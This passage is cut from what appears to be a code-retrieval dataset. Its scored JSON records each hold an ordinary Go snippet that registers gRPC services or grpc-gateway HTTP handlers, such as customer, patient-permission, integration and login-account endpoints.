err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_UpdateCustomer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_UpdateCustomer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_CustomerService_DeleteCustomer_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_CustomerService_DeleteCustomer_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_CustomerService_DeleteCustomer_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "4605e22c9748deb1f52737eba75e529f", "score": "0.6113745", "text": "func Register(r func(*grpc.Server)) Option {\n\treturn func(s *Server) {\n\t\ts.registry = append(s.registry, r)\n\t}\n}", "title": "" }, { "docid": "11394e5b18cf73ee93d5f0826f70939e", "score": "0.6111978", "text": "func (c *Handler) RegisterWithRootServer(grpcServer *grpc.Server) er.R {\n\t// We make sure that we register it with the main gRPC server to ensure\n\t// all our methods are routed properly.\n\tRegisterWatchtowerServer(grpcServer, c)\n\n\tlog.Debugf(\"Watchtower RPC server successfully register with root \" +\n\t\t\"gRPC server\")\n\n\treturn nil\n}", "title": "" }, { "docid": "3eb3c3e3758aa7702aecaff4f44e3209", "score": "0.6111494", "text": "func RegisterPatientPermissionAPIHandlerServer(ctx context.Context, mux *runtime.ServeMux, server PatientPermissionAPIServer) error {\n\n\tmux.Handle(\"POST\", pattern_PatientPermissionAPI_RequestPermissionToken_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_PatientPermissionAPI_RequestPermissionToken_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_PatientPermissionAPI_RequestPermissionToken_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_PatientPermissionAPI_GrantPermissionToken_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_PatientPermissionAPI_GrantPermissionToken_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_PatientPermissionAPI_GrantPermissionToken_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_PatientPermissionAPI_RevokePermissionToken_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_PatientPermissionAPI_RevokePermissionToken_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_PatientPermissionAPI_RevokePermissionToken_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_PatientPermissionAPI_GetPermissionToken_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_PatientPermissionAPI_GetPermissionToken_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_PatientPermissionAPI_GetPermissionToken_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_PatientPermissionAPI_GetActivePermissions_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_PatientPermissionAPI_GetActivePermissions_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_PatientPermissionAPI_GetActivePermissions_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "c3125e83b09a137d7186aea3fecfd02c", "score": "0.61101043", "text": "func (s *Server) Register(srv *red.Server) {\n\tsrv.Handle(\"keys\", s.handleKeys)\n\tsrv.Handle(\"setbit\", s.handleSetbit)\n\tsrv.Handle(\"getbit\", s.handleGetbit)\n\tsrv.Handle(\"bitcount\", s.handleBitcount)\n\tsrv.Handle(\"bitop\", s.handleBitop)\n\tsrv.Handle(\"exists\", s.handleExists)\n\tsrv.Handle(\"del\", s.handleDel)\n\tsrv.Handle(\"get\", s.handleGet)\n\tsrv.Handle(\"set\", s.handleSet)\n\tsrv.Handle(\"bgsave\", s.handleBgsave)\n\tsrv.Handle(\"slurp\", s.handleSlurp)\n\tsrv.Handle(\"scan\", s.handleScan)\n\tsrv.Handle(\"info\", s.handleInfo)\n\tsrv.Handle(\"select\", handleSelect)\n\tsrv.Handle(\"ping\", handlePing)\n\tsrv.Handle(\"ttl\", s.handleTTL)\n\tsrv.Handle(\"pttl\", s.handlePTTL)\n\tsrv.Handle(\"expire\", s.handleExpire)\n\tsrv.Handle(\"rename\", s.handleRename)\n\ts.stats = srv.Stats\n}", "title": "" }, { "docid": "f52de7292878581aaf96d775bab07b3e", "score": "0.60924983", "text": "func RegisterServiceServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\tclient := NewServiceServiceClient(conn)\n\n\tmux.Handle(\"GET\", pattern_ServiceService_Get_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(ctx)\n\t\tdefer cancel()\n\t\tif cn, ok := w.(http.CloseNotifier); ok {\n\t\t\tgo func(done <-chan struct{}, closed <-chan bool) {\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\tcase <-closed:\n\t\t\t\t\tcancel()\n\t\t\t\t}\n\t\t\t}(ctx.Done(), cn.CloseNotify())\n\t\t}\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t}\n\t\tresp, md, err := request_ServiceService_Get_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ServiceService_Get_0(ctx, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ServiceService_Update_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(ctx)\n\t\tdefer cancel()\n\t\tif cn, ok := w.(http.CloseNotifier); ok {\n\t\t\tgo func(done <-chan struct{}, closed <-chan bool) {\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\tcase <-closed:\n\t\t\t\t\tcancel()\n\t\t\t\t}\n\t\t\t}(ctx.Done(), cn.CloseNotify())\n\t\t}\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t}\n\t\tresp, md, err := request_ServiceService_Update_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ServiceService_Update_0(ctx, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ServiceService_Find_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(ctx)\n\t\tdefer cancel()\n\t\tif cn, ok := w.(http.CloseNotifier); ok {\n\t\t\tgo func(done <-chan struct{}, closed <-chan bool) {\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\tcase <-closed:\n\t\t\t\t\tcancel()\n\t\t\t\t}\n\t\t\t}(ctx.Done(), cn.CloseNotify())\n\t\t}\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t}\n\t\tresp, md, err := request_ServiceService_Find_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ServiceService_Find_0(ctx, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ServiceService_Create_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(ctx)\n\t\tdefer cancel()\n\t\tif cn, ok := w.(http.CloseNotifier); ok {\n\t\t\tgo func(done <-chan struct{}, closed <-chan bool) {\n\t\t\t\tselect {\n\t\t\t\tcase <-done:\n\t\t\t\tcase <-closed:\n\t\t\t\t\tcancel()\n\t\t\t\t}\n\t\t\t}(ctx.Done(), cn.CloseNotify())\n\t\t}\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t}\n\t\tresp, md, err := request_ServiceService_Create_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ServiceService_Create_0(ctx, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "ae7cafbdc0fab16de1325828c622943b", "score": "0.60833603", "text": "func (s SubscriptionService) Register(r *grpc.Server) {\n\tserver := &ProxyServer{\n\t\tconn: s.conn,\n\t}\n\te2api.RegisterSubscriptionServiceServer(r, server)\n\te2api.RegisterControlServiceServer(r, server)\n}", "title": "" }, { "docid": "a3ab949a87aecb5ba931dacf56a965cb", "score": "0.60781133", "text": "func (ss *Storageserver) RegisterServer(args *storageproto.RegisterArgs, reply *storageproto.RegisterReply) error {\n\treturn nil\n}", "title": "" }, { "docid": "3e8342484b41d4654fd75d9a2b264cbb", "score": "0.6077235", "text": "func RegisterIntegrationsHandlerServer(ctx context.Context, mux *runtime.ServeMux, server IntegrationsServer) error {\n\n\tmux.Handle(\"POST\", pattern_Integrations_CreateIntegrations_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_CreateIntegrations_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_CreateIntegrations_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Integrations_GetIntegrations_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_GetIntegrations_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_GetIntegrations_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Integrations_UpdateIntegrations_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_UpdateIntegrations_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_UpdateIntegrations_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Integrations_DeleteIntegrations_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_DeleteIntegrations_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_DeleteIntegrations_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_Integrations_CreateSinkSubscription_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_CreateSinkSubscription_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_CreateSinkSubscription_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Integrations_GetSinkSubscription_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_GetSinkSubscription_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_GetSinkSubscription_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Integrations_ListSinkSubscriptionsDeprecated_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"POST\", pattern_Integrations_ListSinkSubscriptions_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\terr := status.Error(codes.Unimplemented, \"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"PUT\", pattern_Integrations_UpdateSinkSubscription_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_UpdateSinkSubscription_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_UpdateSinkSubscription_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_Integrations_DeleteSinkSubscription_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_DeleteSinkSubscription_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_DeleteSinkSubscription_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_Integrations_GetSampleSubscriptionEvent_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_Integrations_GetSampleSubscriptionEvent_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_Integrations_GetSampleSubscriptionEvent_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "ce89a6dcb2ec00bd0441c7364e27ce6b", "score": "0.6064973", "text": "func (r *Root) Register(ctx context.Context, server *grpc.Server, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) {\n\thealth_rpc.RegisterHealthServiceServer(server, r.health)\n\tif err := health_rpc.RegisterHealthServiceHandlerFromEndpoint(ctx, mux, endpoint, opts); err != nil {\n\t\tpanic(err)\n\t}\n\n\ttodoapp_rpc.RegisterTodoServiceServer(server, r.todoappServer)\n\tif err := todoapp_rpc.RegisterTodoServiceHandlerFromEndpoint(ctx, mux, endpoint, opts); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "6bdbe152dae28664c99ad2f4be918063", "score": "0.60608155", "text": "func (is *IdentityServer) RegisterServices(s *grpc.Server) {\n\tttnpb.RegisterIsServer(s, is)\n\tttnpb.RegisterEntityAccessServer(s, &entityAccess{IdentityServer: is})\n\tttnpb.RegisterApplicationRegistryServer(s, &applicationRegistry{IdentityServer: is})\n\tttnpb.RegisterApplicationAccessServer(s, &applicationAccess{IdentityServer: is})\n\tttnpb.RegisterClientRegistryServer(s, &clientRegistry{IdentityServer: is})\n\tttnpb.RegisterClientAccessServer(s, &clientAccess{IdentityServer: is})\n\tttnpb.RegisterEndDeviceRegistryServer(s, &endDeviceRegistry{IdentityServer: is})\n\tttnpb.RegisterGatewayRegistryServer(s, &gatewayRegistry{IdentityServer: is})\n\tttnpb.RegisterGatewayAccessServer(s, &gatewayAccess{IdentityServer: is})\n\tttnpb.RegisterGatewayBatchRegistryServer(s, &gatewayBatchRegistry{IdentityServer: is})\n\tttnpb.RegisterGatewayBatchAccessServer(s, &gatewayBatchAccess{IdentityServer: is})\n\tttnpb.RegisterOrganizationRegistryServer(s, &organizationRegistry{IdentityServer: is})\n\tttnpb.RegisterOrganizationAccessServer(s, &organizationAccess{IdentityServer: is})\n\tttnpb.RegisterUserRegistryServer(s, &userRegistry{IdentityServer: is})\n\tttnpb.RegisterUserAccessServer(s, &userAccess{IdentityServer: is})\n\tttnpb.RegisterUserSessionRegistryServer(s, &userSessionRegistry{IdentityServer: is})\n\tttnpb.RegisterUserInvitationRegistryServer(s, &invitationRegistry{IdentityServer: is})\n\tttnpb.RegisterEntityRegistrySearchServer(s, &registrySearch{IdentityServer: is})\n\tttnpb.RegisterEndDeviceRegistrySearchServer(s, &registrySearch{IdentityServer: is})\n\tttnpb.RegisterOAuthAuthorizationRegistryServer(s, &oauthRegistry{IdentityServer: is})\n\tttnpb.RegisterContactInfoRegistryServer(s, &contactInfoRegistry{IdentityServer: is})\n\tttnpb.RegisterNotificationServiceServer(s, &notificationRegistry{IdentityServer: is})\n\tttnpb.RegisterEndDeviceBatchRegistryServer(s, &endDeviceBatchRegistry{IdentityServer: is})\n}", "title": "" }, { "docid": "68e81ca71062ad36691ab2a52d9a33cf", "score": "0.6051504", "text": "func RegisterServicesServer(s *grpc.Server, srv ServicesServer) { src.RegisterServicesServer(s, srv) }", "title": "" }, { "docid": "128d8508c7334f2b90bd5d22de5b5a8b", "score": "0.60484576", "text": "func (s *Server) RegisterService(sd *ServiceDesc, ss interface{}) {\n\tif ss != nil {\n\t\tht := reflect.TypeOf(sd.HandlerType).Elem()\n\t\tst := reflect.TypeOf(ss)\n\t\tif !st.Implements(ht) {\n\t\t\tlogger.Fatalf(\"grpc: Server.RegisterService found the handler of type %v that does not satisfy %v\", st, ht)\n\t\t}\n\t}\n\ts.register(sd, ss)\n}", "title": "" }, { "docid": "8292b0cde71180e3a3da88d201d967b6", "score": "0.60417145", "text": "func RegisterLoginAccountServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server LoginAccountServiceServer) error {\n\n\tmux.Handle(\"GET\", pattern_LoginAccountService_LoginAccountSearch_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_LoginAccountService_LoginAccountSearch_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_LoginAccountService_LoginAccountSearch_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_LoginAccountService_LoginAccountCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_LoginAccountService_LoginAccountCreate_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil 